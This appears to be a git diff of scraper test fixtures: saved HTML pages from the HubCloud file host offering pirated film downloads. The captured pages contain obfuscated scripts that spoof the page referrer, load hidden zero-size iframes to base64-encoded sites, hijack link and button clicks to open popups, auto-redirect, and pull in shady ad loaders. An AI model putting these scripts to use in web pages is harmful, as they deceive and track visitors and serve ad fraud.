android_launch.classList.remove("d-none");
|
||||
android_launch.addEventListener('click', ()=>{
|
||||
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://hub.shipcdn.buzz/06a50fe95983473b5eeb7fa0ed1b453b?token=1774428722',scheme: 'https',type: 'video/x-matrosk',
|
||||
});anchor.click();
|
||||
});
|
||||
|
||||
};
|
||||
|
||||
</script>
|
||||
|
||||
</h2>
|
||||
|
||||
<div class="alert alert-warning" role="alert">
|
||||
<p><b>Note : </b>Please Use Download Manager like <a href="https://www.google.com/search?q=idm+dowload+manager" target="_blank" rel="noopener noreferrer nofollow">IDM</a> Or <a href="https://www.google.com/search?q=IDA+dowload+manager" target="_blank" rel="noopener noreferrer nofollow">IDA</a> - To accelerate Your Download Speeds </p>
|
||||
</div>
|
||||
|
||||
<div class="alert alert-primary" role="alert">
|
||||
<p><b>Note:</b> <i>Refresh this Page & click Download again if you get any error.</i> ! Resume is Supported-Enjoy :)</p>
|
||||
</div>
|
||||
|
||||
<div class="alert alert-info" role="alert">
|
||||
<p><b>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</b></p>
|
||||
</div>
|
||||
<hr>
|
||||
|
||||
|
||||
|
||||
<br>
|
||||
<div class="tab-content">
|
||||
<div role="tabpanel" class="tab-pane fade show active" id="link">
|
||||
<div class="text" align="center">
|
||||
<ul class="nav nav-tabs" role="tablist">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" id="button1" role="tab" data-toggle="tab">Copy Link</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="card">
|
||||
<div class="card-body" id="div1">
|
||||
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.foo/drive/p94k4dccjwxjcx4</p>
|
||||
</div>
|
||||
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||
<script>
|
||||
|
||||
var size = document.getElementById("size").innerHTML
|
||||
var sharelink = document.getElementById("sharelink").innerHTML
|
||||
if(size == 'NAN '){swal({
|
||||
title: "Token Expired!",
|
||||
text: "Token Link has been expired Please Click on Ok Button To Generate New Link!",
|
||||
type: "success"
|
||||
}).then(function() {
|
||||
window.location = document.location.href = sharelink;
|
||||
});}
|
||||
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied ! : "+e)}
|
||||
</script>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
// const L_=["aHR0cHM6Ly90aW55dXJsLmNvbS9hdm9ndXJsNHU="],localStorageKey="pds",hoursLimit=6;let opened=!1;document.addEventListener("click",function(){if(!opened){var a=localStorage.getItem(localStorageKey),l=(new Date).getTime();if(!(a&&l-a<216e5)){opened=!0;let e=L_[Math.floor(Math.random()*L_.length)],t=atob(e),o=document.createElement("a");o.href=t,o.target="_blank",o.rel="noopener noreferrer",a=new MouseEvent("click",{view:window,bubbles:!0,cancelable:!0}),o.dispatchEvent(a),setTimeout(()=>window.focus(),100),localStorage.setItem(localStorageKey,l)}}});
|
||||
</script>
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
<br><br>
|
||||
</div>
|
||||
Msc
|
||||
|
||||
<video autoplay muted playsinline preload="metadata" hidden>
|
||||
<source src="https://lh3.googleusercontent.com/pw/AP1GczPvuSJv__IfKHEWza111gQ8cf-7_HNU3Mi1oSxHgtoUmS3z22DcgLvk9zNq5_zQGxp3_asDWKLY6cLB-5BYRip6ElCgllgQccSk4-p_7YwGDCQnx0E=m18#t=0,1" type="video/mp4"></video>
|
||||
|
||||
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
|
||||
|
||||
<!--2dl-->
|
||||
|
||||
<div class="footer">
|
||||
|
||||
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||
</div>
|
||||
|
||||
<script defer src="https://static.cloudflareinsights.com/beacon.min.js/v8c78df7c7c0f484497ecbca7046644da1771523124516" integrity="sha512-8DS7rgIrAmghBFwoOTujcf6D9rXvH8xm8JQ1Ja01h9QX8EzXldiszufYa4IFfKdLUKTTrnSFXLDkUEOTrZQ8Qg==" data-cf-beacon='{"version":"2024.11.0","token":"ce57d66a8dc54ff7a63a7a9b493d15a0","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
|
||||
</body>
|
||||
</html><script>
|
||||
window.sessionStorage.setItem('xl',window.location.href)
|
||||
function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}cn("/games/");
|
||||
</script>
|
||||
<script>
|
||||
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
||||
</script>
|
||||
|
||||
|
||||
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
||||
|
||||
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
|
||||
<!--</script>-->
|
||||
|
||||
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100641" src="https://sads.adsboosters.xyz/60e6df74e82f934b77ca81ccdfccfd40.js"></script>
|
||||
|
||||
343
src/extractor/__fixtures__/HubCloud/https:hubcloud.foodrivep94k4dccjwxjcx4
generated
Normal file
343
src/extractor/__fixtures__/HubCloud/https:hubcloud.foodrivep94k4dccjwxjcx4
generated
Normal file
|
|
@ -0,0 +1,343 @@
|
|||
<html>
|
||||
<head>
|
||||
<title>Goat (2026) 2160p 10bit HDR10+ DV iTunes WEB-DL HEVC x265 [Hindi AMZN DDP 5.1 640kbps + English DDP Atmos 5.1] ESub-(BYNDR-4kHdHub).mkv</title>
|
||||
<meta charset="utf-8">
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||
|
||||
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-KyZXEAg3QhqLMpG8r+8fhAXLRk2vvoC2f3B09zVXn8CA5QIVfZOJ3BCsw2P0p/We" crossorigin="anonymous">
|
||||
|
||||
<link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
|
||||
|
||||
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
|
||||
|
||||
<meta name=viewport content="width=device-width, initial-scale=1">
|
||||
<meta name="robots" content="noindex, nofollow">
|
||||
<meta name="googlebot" content="noindex,nofollow">
|
||||
|
||||
|
||||
<script data-cfasync="false" src="//d33f51dyacx7bd.cloudfront.net/?aydfd=1015073"></script>
|
||||
|
||||
<!--<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>-->
|
||||
<!--<script type="text/javascript">-->
|
||||
<!-- aclib.runPop({-->
|
||||
<!-- zoneId: '10550070',-->
|
||||
<!-- });-->
|
||||
<!--</script>-->
|
||||
|
||||
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
|
||||
|
||||
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
||||
|
||||
<!-- Google tag (gtag.js) -->
|
||||
<script async src="https://www.googletagmanager.com/gtag/js?id=G-VPX61DM9S8"></script>
|
||||
<script>
|
||||
window.dataLayer = window.dataLayer || [];
|
||||
function gtag(){dataLayer.push(arguments);}
|
||||
gtag('js', new Date());
|
||||
gtag('config', 'G-VPX61DM9S8');Object.defineProperty(document,atob('cmVmZXJyZXI='),{get:function(){return atob('aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8=')}});
|
||||
</script>
|
||||
<script>
|
||||
// function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}
|
||||
// let p_ = document.location.pathname;
|
||||
// cn('/');
|
||||
// setTimeout(()=> cn(p_), 2200);
|
||||
</script>
|
||||
|
||||
|
||||
|
||||
</head>
|
||||
<style>
|
||||
.icon{width:48px;height:48px}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0}.bg-primary{background-color:#4e73df!important}body{font-family:"Nunito",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"!important;font-weight:14px}.font-weight-bold{font-weight:700!important}.text-primary{color:#007bff!important;padding:.75rem 1.25rem;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0;position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;border:1px solid #e3e6f0;border-radius:.35rem;line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.font-weight-bold{font-weight:700!important}.m-0{margin:auto!important;width:100%}h4,.h4{font-size:1.4rem}.card-body{flex:1 1 auto;padding:1.25rem}.nav-tabs{border-bottom:1px solid #dddfeb}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:#6e707e;background-color:#fff;border-color:#007bff #dddfeb #fff;font-weight:600}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}a{color:#4e73df;text-decoration:none;background-color:transparent}.footer{width:100%;height:auto;position:absolute;right:0;padding:15px 50px 0 15px;font-size:15px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right}.tab-content{width:90%;height:auto;position:initial;right:0;padding:0;text-align:center}.btn{color:#fff!important;background-color:#007bff!important;border-color:#007bff!important;font-weight:700!important}.btn:hover{color:#fff!important;background-color:#0069d9!important;border-color:#0062cc!important}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-success:focus,.btn-success.focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-lg,.btn-group-lg>.btn{padding:.5rem 1rem;font-size:1.2rem;border-radius:.45rem}.header{width:100%;height:auto;position:relative;right:0;padding:10px 50px 5px 15px;font-size:16px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right;margin-top:-25px}.alert-danger{background-color:#e74c3c;border-color:#e74c3c;color:#fff}.alert{padding:15px;margin-bottom:21px;border:1px solid transparent;border-radius:4px}.card{line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.m-5{margin:auto!important}.swal-button{background-color:#007bff!important}.card-header:first-child{font-weight:600}
|
||||
.btn-success1 {
|
||||
color: #fff;
|
||||
background-color: #28a745;
|
||||
border-color: #28a745;
|
||||
display: inline-block;
|
||||
text-align: center;
|
||||
font-size: 1rem;
|
||||
letter-spacing: .4px;
|
||||
font-family: 'Open Sans',sans-serif!important;
|
||||
font-weight: 600;
|
||||
text-decoration:none !important;
|
||||
vertical-align: middle;
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none;
|
||||
border: 1px solid transparent;
|
||||
padding: .375rem .75rem;
|
||||
line-height: 1.5;
|
||||
border-radius: .30rem;
|
||||
transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;
|
||||
}
|
||||
.btn-success1:not(:disabled):not(.disabled).active, .btn-success1:not(:disabled):not(.disabled):active, .show>.btn-success1.dropdown-toggle {
|
||||
color: #fff;
|
||||
background-color: #1e7e34;
|
||||
border-color: #1c7430;
|
||||
}
|
||||
.btn-success1:hover {
|
||||
color: #fff;
|
||||
background-color: #218838;
|
||||
border-color: #1e7e34;
|
||||
}
|
||||
.btn-success1.focus, .btn-success1:focus {
|
||||
box-shadow: 0 0 0 0.2rem rgb(72 180 97 / 50%);
|
||||
}
|
||||
.btn-lg, .btn-group-lg > .btn2 {
|
||||
padding: .5rem .6rem !important;
|
||||
font-family: 'Open Sans',sans-serif!important;
|
||||
letter-spacing: .1px;
|
||||
border-radius: 0.35rem!important;
|
||||
}
|
||||
.ads-btns {
|
||||
position: relative;
|
||||
overflow: hidden
|
||||
}
|
||||
.ads-btns a.btn2 {
|
||||
min-width: 40%
|
||||
}
|
||||
|
||||
.ads-btns svg {
|
||||
fill: #fff;
|
||||
width: 17px;
|
||||
position: absolute;
|
||||
right: 0;
|
||||
top: 0
|
||||
}
|
||||
|
||||
.ads-btns svg path {
|
||||
fill: #fff;
|
||||
stroke: #fff
|
||||
}
|
||||
|
||||
.ads-btns svg:first-child path {
|
||||
fill: #fff;
|
||||
stroke: transparent
|
||||
}
|
||||
|
||||
.ads-btns svg:first-child {
|
||||
right: 20px
|
||||
}
|
||||
.downloads-btns-div .btn2 {
|
||||
margin: 0 3px 12px
|
||||
}
|
||||
.btn2 {
|
||||
font-style: normal;
|
||||
font-weight: 500;
|
||||
font-size: 14px;
|
||||
text-align: center;
|
||||
text-transform: uppercase;
|
||||
border: 2px solid #cbfc01;
|
||||
padding: 10px 15px;
|
||||
border-radius: 6px;
|
||||
-webkit-border-radius: 6px;
|
||||
-moz-border-radius: 6px;
|
||||
background: #0ebac3;
|
||||
color: #000;
|
||||
display: inline-block;
|
||||
text-decoration: none;
|
||||
background: #cbfc01
|
||||
}
|
||||
|
||||
|
||||
.btn-zip {
|
||||
border-color: #00d0ff;
|
||||
background: #00d0ff;
|
||||
color: #000
|
||||
}
|
||||
</style>
|
||||
<body>
|
||||
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100892" src="https://sads.adsboosters.xyz/e782f10ef81a2b65f5c2b85518948f4b.js"></script>
|
||||
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader101001" src="https://sads.adsboosters.xyz/1c76fee9418816ee07f81c9d3386f754.js"></script>
|
||||
<div class="ads-core-ads-100892"></div>
|
||||
<div class="ads-core-ads-101001"></div>
|
||||
<center>
|
||||
<br/>
|
||||
|
||||
|
||||
<div class="header">
|
||||
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="container container-fluid main">
|
||||
<div class="card-body">
|
||||
<h2>
|
||||
<div class="main" id="section2">
|
||||
|
||||
<div class="card h6">
|
||||
|
||||
<div class="card-header text-white bg-primary mb-3">
|
||||
Goat (2026) 2160p 10bit HDR10+ DV iTunes WEB-DL HEVC x265 [Hindi AMZN DDP 5.1 640kbps + English DDP Atmos 5.1] ESub-(BYNDR-4kHdHub).mkv </div>
|
||||
|
||||
<div class="card-body">
|
||||
<ul class="list-group">
|
||||
<li class="list-group-item d-flex justify-content-between align-items-center">File Size<i id="size">17.78 GB</i></li>
|
||||
<li class="list-group-item d-flex justify-content-between align-items-center">File Type<i>video/x-matrosk</i></li>
|
||||
<li class="list-group-item d-flex justify-content-between align-items-center">Share Date<i id="size">24-Mar-2026 05:58:31</i></li>
|
||||
</ul>
|
||||
</ul>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<div class="alert alert-warning h6" role="alert">
|
||||
<span>
|
||||
<p>Experience the magic of Hubcloud where files effortlessly find their way into your downloads!</p>
|
||||
<b>Hubcloud Means File will get Downloaded by anyhow (: </b>
|
||||
</span>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<center>
|
||||
<!--<a href="https://winexch.com/?btag=52330173" target="_blank"><img src="https://hubcloud.club/drive/assets/header.gif" style="-->
|
||||
<!-- width: 820px;-->
|
||||
<!-- height: 90px;-->
|
||||
<!-- padding: -17px;-->
|
||||
<!--" class="img-fluid"></a>-->
|
||||
</center>
|
||||
|
||||
<div class="loading">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin:auto;background:#fff;display:block;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
|
||||
<g><circle cx="73.801" cy="68.263" fill="#e15b64" r="3">
|
||||
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="0s"></animateTransform>
|
||||
</circle><circle cx="68.263" cy="73.801" fill="#f47e60" r="3">
|
||||
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.062s"></animateTransform>
|
||||
</circle><circle cx="61.481" cy="77.716" fill="#f8b26a" r="3">
|
||||
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.125s"></animateTransform>
|
||||
</circle><circle cx="53.916" cy="79.743" fill="#abbd81" r="3">
|
||||
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.187s"></animateTransform>
|
||||
</circle><circle cx="46.084" cy="79.743" fill="#849b87" r="3">
|
||||
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.25s"></animateTransform>
|
||||
</circle><circle cx="38.519" cy="77.716" fill="#6492ac" r="3">
|
||||
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.312s"></animateTransform>
|
||||
</circle><circle cx="31.737" cy="73.801" fill="#637cb5" r="3">
|
||||
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.375s"></animateTransform>
|
||||
</circle><circle cx="26.199" cy="68.263" fill="#6a63b6" r="3">
|
||||
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.437s"></animateTransform>
|
||||
</circle><animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;0 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s"></animateTransform></g>
|
||||
</svg>
|
||||
<h3>Please Wait While Page is loading</h3>
|
||||
</div>
|
||||
<div class="vd d-none">
|
||||
|
||||
|
||||
|
||||
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=p94k4dccjwxjcx4&token=cDdpTE41ZnJuSTdhY1BQR0hRaGhvTDdXWkdkc2hDdm90Y1dFNFBFaGZGQT0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
|
||||
|
||||
|
||||
<center>
|
||||
<!--<div class="ads-btns">-->
|
||||
<!--<div class="downloads-btns-div"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 15 15"><path d="M7.5,1.5a6,6,0,1,0,0,12a6,6,0,1,0,0,-12m0,1a5,5,0,1,1,0,10a5,5,0,1,1,0,-10ZM6.625,11l1.75,0l0,-4.5l-1.75,0ZM7.5,3.75a1,1,0,1,0,0,2a1,1,0,1,0,0,-2Z"></path></svg><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 15 15"><path d="M3.25,3.25l8.5,8.5M11.75,3.25l-8.5,8.5"></path></svg><a class="btn2" href="https://winexch.com/?btag=52330173" rel="nofollow" target="blank">Watch Online</a><a class="btn2 btn-zip" target="blank" rel="nofollow" href="https://winexch.com/?btag=52330173">Download</a></div>-->
|
||||
<!--</div>-->
|
||||
</center>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
</h2>
|
||||
<center>
|
||||
<!-- <a href="http://winexch.com/?btag=52330173" target="_blank"><img src="https://hubcloud.club/drive/assets/footer.gif" style="-->
|
||||
<!-- width: 820px;-->
|
||||
<!-- height: 90px;-->
|
||||
<!-- padding: -17px;-->
|
||||
<!--" class="img-fluid"></a>-->
|
||||
</center>
|
||||
|
||||
<div class="alert alert-info" role="alert">
|
||||
<P><a href="https://tinyurl.com/yjrvvdxu" rel="noopener noreferrer nofollow" target="_blank">How to Download From HubCloud ? Click here to Watch Tutorial</a></P>
|
||||
</div>
|
||||
|
||||
<div class="alert alert-primary" role="alert">
|
||||
<p><b>Note:</b> <i> Always Use Updated Chrome Browser With Cookies Enabled .</i>| Refresh this Page & click Download again if you get any error.</i> ! Resume is Supported-Enjoy :)</p>
|
||||
</div>
|
||||
<div class="alert alert-info" role="alert">
|
||||
<p>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</p>
|
||||
</div>
|
||||
<hr>
|
||||
|
||||
|
||||
|
||||
<!--<div class="m-5 font-weight-normal text-primary">-->
|
||||
<!--<a href="https://a-ads.com?partner=1490501">Advertise with Anonymous Ads</a>-->
|
||||
<!--</div>-->
|
||||
<br>
|
||||
<div class="tab-content">
|
||||
<div role="tabpanel" class="tab-pane fade show active" id="link">
|
||||
<div class="text" align="center">
|
||||
<ul class="nav nav-tabs" role="tablist">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" id="button1" role="tab" data-toggle="tab">Copy Link</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="card">
|
||||
<div class="card-body" id="div1">
|
||||
<p onclick="copy_link('div1')">https://hubcloud.foo/drive/p94k4dccjwxjcx4</p>
|
||||
</div>
|
||||
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||
|
||||
<script>
|
||||
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}function stck(e,t,i){let o="";if(i){let e=new Date;e.setTime(e.getTime()+60*i*1e3),o="; expires="+e.toUTCString()}document.cookie=`${e}=${t||""}${o}; path=/; SameSite=None; Secure`}stck('xla',"s4t",30240);
|
||||
</script>
|
||||
|
||||
<script>
|
||||
|
||||
|
||||
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=p94k4dccjwxjcx4&token=cDdpTE41ZnJuSTdhY1BQR0hRaGhvTDdXWkdkc2hDdm90Y1dFNFBFaGZGQT0=';
|
||||
|
||||
setTimeout(function(){
|
||||
document.querySelector(".loading").classList.add("d-none");
|
||||
document.querySelector(".vd").classList.remove("d-none");
|
||||
if (!document.cookie.split(';').some(item => item.trim().startsWith('xlax='))) {
|
||||
stck('xlax',"s4t",1440);
|
||||
window.location.href = url;
|
||||
}
|
||||
}, 2000);
|
||||
|
||||
|
||||
var download = document.getElementById('download');
|
||||
download.onclick = function() {
|
||||
if (this.classList.contains('disabled')) {
|
||||
event.preventDefault();
|
||||
return;
|
||||
}
|
||||
window.location.href = url;
|
||||
download.classList.add('disabled');
|
||||
setTimeout(function() {
|
||||
download.classList.remove('disabled');
|
||||
}, 6000);
|
||||
}
|
||||
</script>
|
||||
|
||||
|
||||
|
||||
<script>
|
||||
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
|
||||
</script>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
<br><br>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="footer">
|
||||
|
||||
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
|
|
@ -2,8 +2,7 @@
|
|||
<head>
|
||||
<title>Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv</title>
|
||||
<meta charset="utf-8">
|
||||
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
|
||||
<meta name="referrer" content="no-referrer">
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||
|
||||
|
|
@ -18,7 +17,14 @@
|
|||
<meta name="googlebot" content="noindex,nofollow">
|
||||
|
||||
|
||||
<script data-cfasync="false" src="//d2hdyssxn6lpj2.cloudfront.net/?sydhd=1173967"></script>
|
||||
<script data-cfasync="false" src="//d33f51dyacx7bd.cloudfront.net/?aydfd=1015073"></script>
|
||||
|
||||
<!--<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>-->
|
||||
